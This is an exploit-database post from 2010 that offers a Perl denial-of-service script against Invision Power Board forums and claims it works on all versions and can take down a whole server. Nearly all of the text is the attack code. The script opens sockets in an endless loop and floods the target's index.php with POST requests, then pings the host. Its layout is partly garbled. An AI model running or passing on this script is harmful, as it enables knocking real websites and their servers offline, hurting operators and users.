Invision power board 0-day denial of service 2
Posted on 23 April 2010
============================================== Invision power board 0-day denial of service 2 ============================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 #################################### 1 0 I'm SeeMe member from Inj3ct0r Team 1 1 #################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 # Invision power board 0-day denial of service 2 100% works.. # # It works on all versions! can DOS the whole server! # #Perl Script use Socket; if (@ARGV < 2) { &usage } $rand=rand(10); $host = $ARGV[0]; $dir = $ARGV[1]; $host =~ s/(http://)//eg; for ($i=0; $i<10; $i--) { $user="seeme".$rand.$i; $data = "adsess=&"; $len = length $data; $foo = "POST ".$dir."index.php HTTP/1.1 ". "Accept: * /* ". "Accept-Language: en-gb ". "Content-Type: application/x-www-form-urlencoded ". "Accept-Encoding: gzip, deflate ". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) ". "Host: $host ". "Content-Length: $len ". "Connection: Keep-Alive ". "Cache-Control: no-cache ". "$data"; my $port = "80"; my $proto = getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto); connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo; send(SOCKET,"$foo", 0); syswrite STDOUT, "+" ; } print " "; system('ping $host'); sub usage { print " usage: "; print " $0 <host> </dir/> "; print " ex: $0 127.0.0.1 /forum/ "; print " ex2: $0 127.0.0.1 / "; exit(); }; ################################################################ # Greetz to Inj3ct0r Crew # Inj3ct0r.com [2010-04-23]